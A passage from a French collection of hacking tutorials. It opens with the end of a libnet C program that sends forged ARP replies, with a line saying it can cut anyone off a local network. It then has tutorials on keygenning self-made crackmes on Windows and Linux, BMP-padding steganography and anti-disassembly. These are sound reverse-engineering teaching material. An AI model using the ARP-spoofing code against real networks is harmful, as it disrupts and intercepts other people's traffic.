                    switch (o)
                    {
                        case 'i':
                            device = optarg;
                            break;
                        case 's':
                            if ((ipaddr = inet_addr (optarg)) == -1)
                            {
                                fprintf (stderr, "Invalid claimed IP address\n");
                                usage (argv[0]);
                            }
                            break;
                        case 't':
                            if ((destaddr = inet_addr (optarg)) == -1)
                            {
                                fprintf (stderr, "Invalid destination IP address\n");
                                usage (argv[0]);
                            }
                            break;
                        case 'm':
                            if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
                            {
                                fprintf (stderr, "Error on MAC address\n");
                                usage (argv[0]);
                            }
                            break;
                        default:
                            usage (argv[0]);
                            break;
                    }
                }
                /* Ouverture du context libnet */
                l = libnet_init (LIBNET_LINK, device, errbuf);
                if (l == NULL)
                {
                    fprintf (stderr, "Error opening context: %s", errbuf);
                    exit (1);
                }


                /* Récupération de l'adresse Mac de notre carte réseau*/
                hwaddr = libnet_get_hwaddr (l);

                ///////////////////////// Fabrication de notre ARP header /////////////////////////

                arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
                (u_int8_t *) hwaddr, /* source hardware addr */
                (u_int8_t *) &ipaddr, /* source protocol addr */
                macaddr, /* target hardware addr */
                (u_int8_t *) &destaddr, /* target protocol addr */
                l); /* libnet context */

                if (arp == -1)
                {
                    fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l));
                    exit (1);
                }
                ///////////////// Création de notre Ethernet Header /////////////////////////////

                eth = libnet_build_ethernet (macaddr, /* destination address */
                    (u_int8_t *) hwaddr, /* source address */
                    ETHERTYPE_ARP, /* type of encasulated packet */
                    NULL, /* pointer to payload */
                    0, /* size of payload */
                    l, /* libnet context */
                    0); /* libnet protocol tag */

                if (eth == -1)
                {
                    fprintf (stderr,
                    "Unable to build Ethernet header: %s\n", libnet_geterror (l));
                    exit (1);
                }

                ////////////////////////// Envoi des paquets ////////////////////////////////////
                printf("Nombre de paquet voulu, 1 paquet= 2secondes :");
                scanf("%d", &nb_paquet);

                for(i=0; i < nb_paquet;i++)
                {
                    /* Création des paquets */
                    if ((libnet_write (l)) == -1)
                    {
                        fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
                        exit (1);
                    }
                    puts("paquets envoyer");
                    sleep(2);
                }
                //////////////////////////Fermeture du programme proprement /////////////////////
                /* Fermeture propre */
                libnet_destroy (l);
                return 0;
            }

                    
Voilà maintenant vous pouvez éjecter n'importe qui de votre réseau local durant la durée que vous avez décidé.

> Introduction au Keygenning sous Win32

Auteur: fr0g

Introduction

Bonjour, afin de suivre dans la lancée de mes premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger un sur le keygening.
En quoi consiste un Keygen ?

Je vois sur de plus en plus de forums/sites de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des keygens, en programmant simplement une fenêtre assez jolie renvoyant un serial valide pour une application, pris au hasard dans une liste de serials dans leur programme.

Grosse erreur, le keygening ne consiste pas à répertorier des clés valides pour les redonner à l'utilisateur (on a inventé les fichiers texte pour ça :p ).

Cela consiste à comprendre le fonctionnement d'un programme en fonction de son code (le plus souvent en assembleur) afin de produire un programme permettant de générer une clé valide en fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer aux débutants comment procéder.

Désassemblage

Bien, tout d'abord, essayons notre keygen me, on le lance, il nous demande un login, je rentre "fr0g" par habitude, étant donné que c'est mon pseudo, ensuite, le programme me demande de rentrer la clé correspondant au login "fr0g",

je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.

Nom de l'image
Fig. 1 : l'essai du keygenme

Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings

On voit clairement apparaitre :

            Search - Text strings referenced in KeyGenMe, item 0
              Address = 004013E6
              Command = MOV DWORD PTR SS:[ESP+4],OFFSET 00447000
              Comments = ASCII "ysae_os"


            Search - Text strings referenced in KeyGenMe, item 1
              Address = 00401898
              Command = MOV DWORD PTR SS:[ESP+4],OFFSET 00447008
              Comments = ASCII "tropsimple"
                    

On le voit dans le code c++ montré plus haut , la string "tropsimple" est un piège afin d'attirer l'attention d'un éventuel reverser, ce n'est en aucun cas une chaine intervenant dans l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y a rien de plus à dire.

Mais juste au dessus, on peut remarquer la chaine "ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne sommes pas censé savoir si elle va nous servir ou pas .

Un peu plus bas on peut voir "Sorry, try" qui est le début de "Sorry, Try again boy :p", le message d'erreur que le keygen-me nous à affiché plus tôt.

On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :

Nom de l'image
Fig. 3 : le code assembleur

Partons à la pêche

Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :

            00401b85          CALL 00442EEC
                    
et on appuie sur F9 pour lancer l’exécution du programme, on entre notre login ( pour mon cas c'est toujours "fr0g"), le programme continue sa route, en nous demandant d'entrer cette fois, la clé correspondante au login que l'on a tapé juste avant, pour cette fois, je vais rentrer une dizaine de "A" , et là ... notre programme va breaker .

Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):

Nom de l'image
Fig. 4 : le breakpoint placé
on voit clairement :

            ASCII "fr0g"
            ASCII "4fr0gso_easy"
            ASCII "AAAAAAAAAA"
                    

Je pense que vous avez tous compris, le "fr0g" correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous pouvons l'essayer .

Essai du keygenme
Fig. 5 : l'essai du keygenme

Boom !!! on vient d'avancer d'un pas, on à trouvé la clé correspondant au login "fr0g", dans certains cas les algorithmes sont forts compliqués (contrairement à ces quelques crackMe pour débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour comprendre, décomposons notre clé :

            4      fr0g       so_easy
                    

Il suffit d'entrer un ou deux autres logins pour comprendre que le nombre en début de clé, correspond à la longueur du login entré par l'utilisateur (en nombre de caractères), quant à la chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue plus tôt dans les Referenced strings qui à été renversée.

NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...

Bon pour terminer ça on va coder un petit KeyGen afin de générer des clés valides pour ce keygenMe, pour cela je vais utiliser Python (3.2).

            #!/usr/bin/env python3.2
            # -*- coding: latin-1 -*-

            ##################################
            # Author : fr0g
            # WebSite : hwc-crew.com   // n-pn.info
            # Language : Python 3.2
            #
            # Name : keyGen Example
            ##################################


            #Début de la fonction keygen()

            def keygen(_login):

                # Déclaration de la variable contenant "so_easy" 
                login_ext = "so_easy"   

                # Calcul du nombre de caractères dans le login
                # Et stockage de ce nombre dans la variable login_len
                login_len = str(len(_login))


                # Concaténation des différentes parties de la clé
                valid_key = login_len + _login + login_ext


                # Renvoi de la clé valide
                return valid_key



            # Appel de la fonction keygen() sur le login entré par l'utilisateur
            print (keygen(str(input("Login > "))))

                    
Petit essai :
            Login > AAAAAAAAAA
            10AAAAAAAAAAso_easy
                    
Nikel ;) .

Voilà, j'espère que ce mini tuto aura appris aux plus novices en quoi consiste un keygen, si vous désirez apporter des améliorations à cet article, libre à vous de mes les soumettre par mail à fr0g <at> hwc-crew.com ou sur le forum N-PN.info.

Cordialement, la grenouille ...

# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)

> Le padding BMP

Auteur: Luxerails

0x01 - Qu‘est-ce que le padding BMP ?

Pour cacher de l‘information dans une image au format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons comment un bmp est construit (ouvrez par exemple une image bmp avec un éditeur de texte ou un éditeur hexadécimal).

BM................................................ ...image

BM : Header du bmp. Permet de reconnaitre le format du fichier (chaque format en a un: par exemple, le format PNG commence toujours par ‰PNG)

Les "..." représentent plusieurs informations concernant l‘image, notamment sa longueur, ses dimensions, le système d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune utilité pour notre tuto.

image: L‘image, débutant à l‘octet 54.

L‘image est codée de la façon suivante : bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel (rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et généralement nul).

À noter que l‘octet reservé apparait que dans un bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets. Il faut donc savoir que les composantes sont notées à l‘envers (bvr au lieu de rvb).

Il faut aussi savoir que le bmp écrit les pixels en partant du bas-gauche de l‘image, et en allant de gauche a droite, en remontant l‘image de bas en haut.

Par exemple, pour une image :

            abc def ghi
            jkl mno pqr
            stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
                    
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le padding bmp dans tout ça ?!

Le problème dans un bmp, c‘est que il faut absolument qu‘une ligne dans un bmp soit multiple de quatre. Par exemple, dans notre exemple de tout à l‘heure :

utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
            utsxwv0zy
            lkjonmrqp
            cbafedihg
                    
Or 9 n‘est pas un multiple de quatre ! Il va donc falloir rajouter des caractères afin que la "ligne" soit multiple de quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour qu‘une ligne fasse douze caractères et douze est un multiple de quatre.

On se retrouve donc avec :
            utsxwv0zy...
            lkjonmrqp...
            cbafedihg...
                    
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp. (les . représentent des octets nuls)

Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre : utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a juste après est douze, donc je coupe tout les douze octets :

            utsxwv0zymsg
            lkjonmrqpcac
            cbafedihghé!
                    
Et je lis les 3 derniers octets de chaque ligne.

0x02 - Avantages et inconvénients

Les avantages de cette technique sont que la taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image, mais dans la structure du bmp).

L‘inconvénient de cette technique est que l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si l‘on cache un GIF dans du padding bmp, en sachant que les trois premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir le mot GIF en clair dans le fichier si la taille du padding d‘une ligne est de trois.

0x03 - Exemple

Essayez de trouver le message caché dans cette image...

> Unix keygenning

Auteur: kallimero

Fermons la fenêtre, préparons-nous, et partons vers la banquise.
Là-bas, pas d'outils graphique, pas de belles images. Uniquement de la console. Encore et toujours.

Bon, maintenant que les fainéants et les pleutres ont disparus, nous allons pouvoir commencer.
Pour suivre ce tutoriel, il vous sera nécessaire de posséder quelques acquis en programmation ASM. Même si je vais m'efforcer, au comble du masochisme, de vous décrire point par point chaque instruction, ces acquis vous permettront de combler mes lacunes pédagogiques.

Le keygenning ayant déjà été défini dans l'article sur le keygenning windows, je préfère vous y renvoyer, plutôt que d'en rédiger une moi-même. D'autant plus que la définition me convient très bien (et que je suis fainéant).

0x01 - Les outils

Dans ce tutoriel nous utiliserons des outils basiques, qui font sûrement déjà partie de votre panoplie, puisqu'ils sont de base installés sur la plupart des distributions GNU/Linux.

Objdump, un desassembleur faisant partie de la sympathique famille des GNU binutils (qui comprend également as, ld, strings, strip, readelf, pour ne citer qu'eux). Une suite bien utile dans sa totalité, pour l'analyse de fichier binaire.

gdb, le Gnu DeBugger,un debugger plutôt complet.
Nasm (ou as) & ld, assembleur & linker, pour la création du keygen. Ou le langage de programmation de votre choix.

0x02 - À l'attaque

Le keygenMe est disponible ici :keygenme

Avant de partir à toute allure dans des travers techniques et incompréhensibles, pourquoi ne pas lancer le joujou hors debugger, histoire de voir de quoi il retourne ?

Bon, étant donné la masse d'entre vous qui trouvent mon idée géniale, voyons ce que ça donne :

            $ ./KeygenMe 
            -------------------- 
                  KeygenMe     
                By kallimero    
            -------------------- 
            Pseudo : kallimero 
            Serial : trolololo 
            Registration failed.
                    
Évidemment, ça n'a pas marché. Le contraire aurait été vraiment étonnant. Je ne suis donc pas cocu. CQFD.

Examinons le fichier via la commande file :

            $ file KeygenMe
            KeygenMe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
                    

On a déjà pas mal d'infos utiles:
Le fichier est linké statiquement. Le linker étant le lien entre le fichier objet et le fichier exécutable. Pour faire court, le fichier objet est un fichier intermédiaire, utilisé lors de la compilation. Il contient du code machine non-exécutable, qui nécessite l'édition des liens (d'où le nom de linker). Quand le linkage est statique, le fichier exécutable n'est pas lié à une bibliothèque externe, il est lié tout seul. Quand il est dynamique, il est lié à une bibliothèque, et ce lien est mis en œuvre au lancement du fichier.

Il est strippé. C'est à dire que toute les entêtes non nécessaires pour le bon déroulement de programme ont été supprimées.

Allez, je ne vous fait pas baver plus longtemps. D'autant que votre salive vous servira pour crier de douleur un peu plus tard.

0x03 - Désassemblons

On est parti pour se pencher sur le code assembleur. On va commencer par regarder le code gentillement désassemblé par objdump, afin de comprendre le fonctionnement intrinsèque et d'isoler la routine de génération du keygen. Le programme étant linké statiquement, cela ne devrait pas trop nous poser de soucis.

Petite parenthèse avant de découvrir le magnifique code, sur les syscalls.
De manière schématique, un syscall est un appel au kernel, pour que celui-ci effectue une certaine tâche, en fonction de paramètres (arguments). Un syscall à toujours la même structure. Sous Linux:

Numéro du syscall dans eax
1er argument dans ebx
2nd argument dans ecx
3eme argument dans edx
possible 4, 5, 6... argument(s)
Appel au kernel (kernel interrupt) int $0x80

Le numéro de syscall correspond à la fonction que l'on souhaite effectuer.
Vous retrouverez la correspondance entre fonction et numéro ici : http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, ou dans le fichier /usr/include/asm/unistd.h

/!\ Attention objdump utilise par défaut la syntaxe AT&T. Si vous préférez la syntaxe intel (utilisée notamment par nasm et masm), vous pouvez ajouter l'option -M intel.

On utilisera l'option -d pour indiquer le fichier à désassembler, utilisez l'option -H pour connaître la foultitude d'options intéressantes d'objdump.

Je vous montre directement l'output commenté par mes soins.

            $ objdump -d KeygenMe

            keygenMe:     file format elf32-i386


            Disassembly of section .text:

            08048080 <.text>:

            ; Premier syscall, pour afficher « KeygenMe By kallimero »    
             8048080:	b8 04 00 00 00       	mov    $0x4,%eax
             8048085:	bb 01 00 00 00       	mov    $0x1,%ebx
             804808a:	b9 70 91 04 08       	mov    $0x8049170,%ecx
             804808f:	ba 56 00 00 00       	mov    $0x56,%edx
             8048094:	cd 80                	int    $0x80

            ; Second syscal pour afficher « pseudo : »
             8048096:	b8 04 00 00 00       	mov    $0x4,%eax
             804809b:	bb 01 00 00 00       	mov    $0x1,%ebx
             80480a0:	b9 c7 91 04 08       	mov    $0x80491c7,%ecx
             80480a5:	ba 09 00 00 00       	mov    $0x9,%edx
             80480aa:	cd 80                	int    $0x80

            ; 3eme syscall pour enregistrer le pseudo dans une variable
             80480ac:	b8 03 00 00 00       	mov    $0x3,%eax
             80480b1:	bb 00 00 00 00       	mov    $0x0,%ebx
             80480b6:	b9 14 92 04 08       	mov    $0x8049214,%ecx
             80480bb:	ba 0f 00 00 00       	mov    $0xf,%edx
             80480c0:	cd 80                	int    $0x80

            ; 4eme syscall pour afficher « serial : »
             80480c2:	b8 04 00 00 00       	mov    $0x4,%eax
             80480c7:	bb 01 00 00 00       	mov    $0x1,%ebx
             80480cc:	b9 d1 91 04 08       	mov    $0x80491d1,%ecx
             80480d1:	ba 09 00 00 00       	mov    $0x9,%edx
             80480d6:	cd 80                	int    $0x80

            ; 5eme syscall pour enregistrer le serial dans une variable
             80480d8:	b8 03 00 00 00       	mov    $0x3,%eax
             80480dd:	bb 00 00 00 00       	mov    $0x0,%ebx
             80480e2:	b9 34 92 04 08       	mov    $0x8049234,%ecx
             80480e7:	ba 0f 00 00 00       	mov    $0xf,%edx
             80480ec:	cd 80                	int    $0x80

            ; Routine obscure que nous allons élucider
             80480ee:	b8 14 92 04 08       	mov    $0x8049214,%eax
             80480f3:	ba 00 00 00 00       	mov    $0x0,%edx
             80480f8:	42                   	inc    %edx
             80480f9:	80 3c 10 00          	cmpb   $0x0,(%eax,%edx,1)
             80480fd:	75 f9                	jne    0x80480f8
             80480ff:	bb 00 00 00 00       	mov    $0x0,%ebx
             8048104:	81 ea 01 00 00 00    	sub    $0x1,%edx
             804810a:	01 93 14 92 04 08    	add    %edx,0x8049214(%ebx)
             8048110:	43                   	inc    %ebx
             8048111:	39 d3                	cmp    %edx,%ebx
             8048113:	75 f5                	jne    0x804810a


            ; Routine de comparaison
             8048115:	81 c2 01 00 00 00    	add    $0x1,%edx
             804811b:	89 d1                	mov    %edx,%ecx
             804811d:	be 14 92 04 08       	mov    $0x8049214,%esi
             8048122:	bf 34 92 04 08       	mov    $0x8049234,%edi
             8048127:	f3 a6                	repz cmpsb %es:(%edi),%ds:(%esi)

             8048129:	74 22                	je     0x804814d
             ; Si la comparaison est bonne, au saute à  0x804814d

            ; Syscall pour afficher le badBoy
             804812b:	b8 04 00 00 00       	mov    $0x4,%eax
             8048130:	bb 01 00 00 00       	mov    $0x1,%ebx
             8048135:	b9 fc 91 04 08       	mov    $0x80491fc,%ecx
             804813a:	ba 16 00 00 00       	mov    $0x16,%edx
             804813f:	cd 80                	int    $0x80

            ; Syscall exit
             8048141:	b8 01 00 00 00       	mov    $0x1,%eax
             8048146:	bb 00 00 00 00       	mov    $0x0,%ebx
             804814b:	cd 80                	int    $0x80

            ; Syscall pour afficher le GoodBoy
             804814d:	b8 04 00 00 00       	mov    $0x4,%eax
             8048152:	bb 01 00 00 00       	mov    $0x1,%ebx
             8048157:	b9 db 91 04 08       	mov    $0x80491db,%ecx
             804815c:	ba 21 00 00 00       	mov    $0x21,%edx
             8048161:	cd 80                	int    $0x80

            ; Syscall exit
             8048163:	b8 01 00 00 00       	mov    $0x1,%eax
             8048168:	bb 00 00 00 00       	mov    $0x0,%ebx
             804816d:	cd 80                	int    $0x80
                    

Je ne vous avait pas menti ; le code est principalement composé de syscalls. Ceux utilisés majoritairement sont :
sys_write. 4 dans eax, et 1 dans ebx pour stdout, pour écrire du texte,
sys_read, 4 dans eax, et 0 dans ebx pour stdin, pour lire du texte,
sys_exit, 1 dans eax, et un nombre dans ebx qui représente le code d'erreur. 0 signifiant qu'il n'y as pas eu d'erreur.
Stdout est le flux de sortie, soit votre écran, et stdin le flux d'entrée, soit votre clavier.
Mêlé entre les vils et rugueux appels au système, nous pouvons distinguer un sombre morceau de code, qui s'apparenterait à une routine de génération de mot de passe.
C'est à ce moment que des connaissances en assembleur sont de mises, car le keygenning, c'est avant tout de longues nuits à jongler entre documentation et langage d'assemblage, entre café et aspirine, entre jouissances profondes et crises de nerfs.

Voyons ensemble de plus près la désormais fameuse portion de bouillie asm :

             80480ee:	b8 14 92 04 08       	mov    $0x8049214,%eax
             ; Met le pseudo entrer dans eax (voir le 3eme syscall)
             80480f3:	ba 00 00 00 00       	mov    $0x0,%edx
             ; Met 0 dans edx, sûrement pour un compteur
             80480f8:	42                   	inc    %edx
             ; incrémente ebx (edx = edx +1)
             80480f9:	80 3c 10 00          	cmpb   $0x0,(%eax,%edx,1)
             Compare le byte numéro edx du pseudo avec 0 (byte de fin d'une chaîne)
             80480fd:	75 f9                	jne    0x80480f8
             ; Si ce n'est pas un 0, on recommence
             
             ;Finalité de cette première partie : eax contient le pseudo, edx contient le nombre de byte du pseudo

             80480ff:	bb 00 00 00 00       	mov    $0x0,%ebx
             ; On met 0 dans ebx, pour un compteur
             8048104:	81 ea 01 00 00 00    	sub    $0x1,%edx
             ; on décrément edx qui contient la taille du pseudo
             804810a:	01 93 14 92 04 08    	add    %edx,0x8049214(%ebx)
             ; On ajoute edx au byte numéro ebx du pseudo  
             8048110:	43                   	inc    %ebx
             ; on incrémente ebx
             8048111:	39 d3                	cmp    %edx,%ebx
            ;On compare edx et ebx (donc quand ebx vaut la taille du pseudo)
             8048113:	75 f5                	jne    0x804810a ; si ebx ne vaut la taille du pseudo, que tout les bytes n'ont été parcourus, on retourne plus haut
                    

Finalité de cette seconde partie : On décale dans la table ascii chaque caractère du pseudo de sa taille totale.
Pourquoi je parle de la table ascii ? Eh bien parce que tout caractère est représenté par un nombre (l'ordinateur ne comprenant pas les lettres). La correspondance entre les lettre et les nombres est réalisée par la table ascii. Donc l'opération à l'adresse 804810a ajoute a la lettre traduite en ascii, le nombre de lettres total du pseudo, ce qui changera la lettre.
Nous reverrons ça plus tard.

0x04 - Debuggons

Ce terme, assez barbare pour faire rougir mon correcteur orthographique, mérite un peu d'attention pour les plus débutant d'entre nous.
Le concept est assez simple ; un debugger permet, à chaque instant, de voir ce qui ce passe à l'intérieur d'un programme (état des registres, de la mémoire du programme). Littéralement, debugger signifie « qui enlève les bugs ». Bien sûr, nous n'aurons pas cette prétention là. Nous utiliserons le Gnu DeBugger, pour d'autres fin.

Démarrons donc notre fidèle ami Gdb, toujours là pour nous aider dans notre quête de sérial :

            $ gdb keygenMe
                    
Pas besoin de re-désassembler le code ici. Si c'est votre désir le plus ardent vous pouvez bien évidemment le faire, en utilisant la commande « disass ». Ici le programme ayant été linké statiquement, vous ne retrouverez qu'une section, .text, que vous ne pourrez désassembler qu'en lui indiquant l'adresse de début et celle de fin. De cette manière :
            (gdb) disass 0x08048080 0x0804816d
                    
Ce qui vous renverra à peu de chose près ce que nous avons vu avec objdump.
/!\ Attention, encore une fois, gdb utilise la syntaxe AT&T, si vous souhaitez qu'il utilise la syntaxe intel, vous pouvez le lui indiquer avec la commande « set disassembly-flavor intel ».
Nous allons maintenant poser un point d'arrêt – breakpoint en anglais – Sur la comparaison du serial entré avec celui attendu.
            (gdb) b *0x08048127
            Breakpoint 1 at 0x8048127
                    
Pour ceux qui ne le savent pas encore, un breakpoint permet d'arrêter le programme en cours d'éxecution, afin d'examiner, à l'instant définis, l' état des registres, des flags, de la stack, etc...

Maintenant lançons le programme avec la commande run (que l'on peut abréger r)

                (gdb) r
                Starting program: /home/kallimero/Bureau/codes/asm/keygenMe 
                --------------------
                      KeygenMe     
                    By kallimero    
                --------------------
                Pseudo : kallimero
                Serial : trolololo

                Breakpoint 1, 0x08048127 in ?? ()
                    
On rentre encore une fois, tel un rituel, des informations bidons.
Mais cette fois, paf !
Pas de chocapic mais un breakpoint. Notre programme est en stand by.

Vérifions l'état des registres, avec la commande « info registers » (que l'on peux abréger i r)

            (gdb) i r
            eax            0x8049214	134517268
            ecx            0xa	10
            edx            0xa	10
            ebx            0x9	9
            esp            0xffffd5d0	0xffffd5d0
            ebp            0x0	0x0
            esi            0x8049214	134517268
            edi            0x8049234	134517300
            eip            0x8048127	0x8048127
            eflags         0x206	[ PF IF ]
            cs             0x23	35
            ss             0x2b	43
            ds             0x2b	43
            es             0x2b	43
            fs             0x0	0
            gs             0x0	0
                    

Comme nous l'avons vu plus haut, c'est eax qui nous intéresse, car c'est lui qui au début contient le pseudo, qui est ensuite modifié pour obtenir le sérial voulu par le programme.
Tâchons de l'afficher comme une chaîne de caractère, grâce au système de conversion de gdb.

            (gdb) x/s $eax
            0x8049214:	 "tjuurvn{x\n"
            (gdb)
                    
x/s : convertir hexadécimal en chaîne de caractère (string) $eax : le registre eax. N'oubliez pas le $

Le serial correspondant au pseudo kallimero serai donc tjuurvn{x. Le \n n'étant pas pris en compte au moment de la comparaison.

Très bien. Testons donc cela (vous pouvez quitter gdb via la commande quit ou q) :
            $ ./keygenMe
            --------------------
                  KeygenMe     
                By kallimero    
            --------------------
            Pseudo : kallimero
            Serial : tjuurvn{x
            Yeah, you win. Serial accepted.
                    

Ah, la douce odeur de la victoire approchante et chantante.
Comme vous avez pus le voir notre ruse et notre intelligence nous a permis de dénicher un sérial valide. Mais évidemment, ce n'est pas finis ; sinon toutes les étapes du début ne nous auraient servis à rien, et vous savez bien que je ne me serai pas permis de vous faire perdre votre temps.
Il va falloir réaliser un programme capable de générer, pour n'importe quel pseudo, un serial valide.

Afin d'accroître notre compréhension de l'algorithme, tâchons de déterminer « mathématiquement », le serial correspondant au magnifique pseudo kallimero.

kallimero a une taille de 9 caractères. k = 107 | 107 + 9 = 116 = t a = 97 | 97 + 9 = 106 = j l = 108 | 108 + 9 = 117 = u l = 108 | 108 + 9 = 117 = u i = 105 | 105 + 9 = 114 = r m = 109 | 109 + 9 = 118 = v e = 101 | 101 + 9 = 110 = n r = 114 | 114 + 9 = 123 = { o = 111 | 111 + 9 = 120 = x Ce qui nous donne bien tjuurvn{x

Bien sûr c'est une étape un peu artificielle que vous pourrez sauter dans le future, mais elle est ici afin de vous faire comprendre en profondeur le keygenMe présent.

0x05 - Le keygen

Écrire le keygen est normalement plutôt aisé quand la routine de génération du sérial est bien assimilée. Ce qui est bien évidemment notre cas.

Je vais personnellement en écrire un en assembleur, ce qui nous permet de carrément récupérer des bouts du code désassemblé. mais libre à vous d'utiliser tout autre langage.

            ;Compilation :
            ;nasm -f elf keygen.asm
            ; ld -s -o keygen keygen.o

            section .data
                hello: db "Type your pseudo : "
                ser: db "Your serial : "

            section .bss
                pseudo: resb 32

            section .text
                global _start

            _start:
                ;syscall « type your pseudo »
                mov eax, 4
                mov ebx, 1
                mov ecx, hello
                mov edx, 19
                int 80h

                ;syscall qui met ce qui est entré dans la variable pseudo
                mov eax, 3
                mov ebx, 0
                mov ecx, pseudo
                mov edx, 10
                int 80h


                mov eax, pseudo ; On met le pseudo dans eax
                mov edx, 0 ; edx sert de compteur

                ; On cherche la taille
                boucle:
                    inc edx ; incrementation d'edx
                    cmp byte [eax + edx], 0 ; Compare avec le null byte
                jne boucle ; Si c'est pas le nullbyte, on retourne en haut

                push edx ; On sauvegarde edx en le mettant sur le pile
                sub edx, 1 ; on enlève 1 à edx 
                boucle2:
                    add dword [pseudo+ebx], edx ; On ajoute edx au byte n°ebx  du pseudo
                    inc ebx	; on incrémente le compteur
                    cmp ebx, edx ; on compare ebx a la taille totale
                jne boucle2 ; SI on a pas encore tout parcouru, on retourne en haut


                ;syscall « your serial »
                mov eax, 4
                mov ebx, 1
                mov ecx, ser
                mov edx, 14
                int 80h

                ;syscall qui affiche le serial
                mov eax, 4
                mov ebx, 1
                mov ecx, pseudo
                pop edx
                int 80h

                ; serial exit
                mov eax, 1
                mov ebx, 0
                int 80h
                    

Schématiquement, ce code demande à l'utilisateur de rentrer un pseudo, puis il détermine la taille de ce pseudo. Et ajoute à chaque caractère la taille obtenu précédemment. Rien de bien compliqué, que vous pourrez facilement traduire dans une autre langage. J'ai essayé de le commenter au maximum.

> Contourner les protections contre le désassemblage

Auteur: aaSSfxxx

Prérequis:

Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.

0x01 - Introduction

Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur d'un binaire.

Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.

0x02 - Premier contact avec le programme

Tout d'abord, vous pouvez télécharger le crackme ici ). Une fois ceci fait, nous allons prendre notre désassembleur favori (IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on essaie de l'exécuter, le crackme nous accueille avec un gentil message "Essaie encore :þ", ce qui montre que le crackme fonctionne.

Un "file" sur le crackme nous indique qu'il est stripped, c'est-à-dire que tous les symboles de débuggage ont été retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start (le "vrai" point d'entrée du programme, et non main, appelé par _start).

On désassemble donc notre programme, comme on ferait pour n'importe quel autre crackme. Il va donc falloir retrouver notre "main", étant donné que le désassembleur n'a pas pu le localiser. On s'aperçoit qu'il y a un "push offset sub_8048495" avant un "call __libc_start_main", ce qui nous indique que notre "main" est à l'adresse 0x08048495. Lorsqu'on désassemble ce "main", on s'aperçoit qu'il y a plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA, une suite de dwords incompréhensibles lorsqu'on est en "Text View").

Nous allons donc voir ici comment pallier ce problème.

0x03 - Analyse statique du binaire

On va ici se servir du désassembleur pour comprendre comment le processeur arrive à exécuter cette bouillie d'instructions sans broncher. Tout d'abord, on commence par trouver le "main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a déjà des protections contre le désassemblage (et une analyse dynamique conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme.

On va donc analyser les premières instructions du programme:

            push ebp
            mov ebp, esp
            mov eax, offset dword_80484A4
            mov edx, 2
            jmp short loc_8048516
                    
On aperçoit ici le prologue habituel ("push ebp" et "mov ebp,esp"), l'initialisation de deux registres puis un saut vers 0x8048516.
Regardons donc cette fonction:

            add eax, edx
            xor edx, edx
            mov edx, eax
            sub edx, offset dword_80484A4
            add eax, edx
            jmp eax
                    

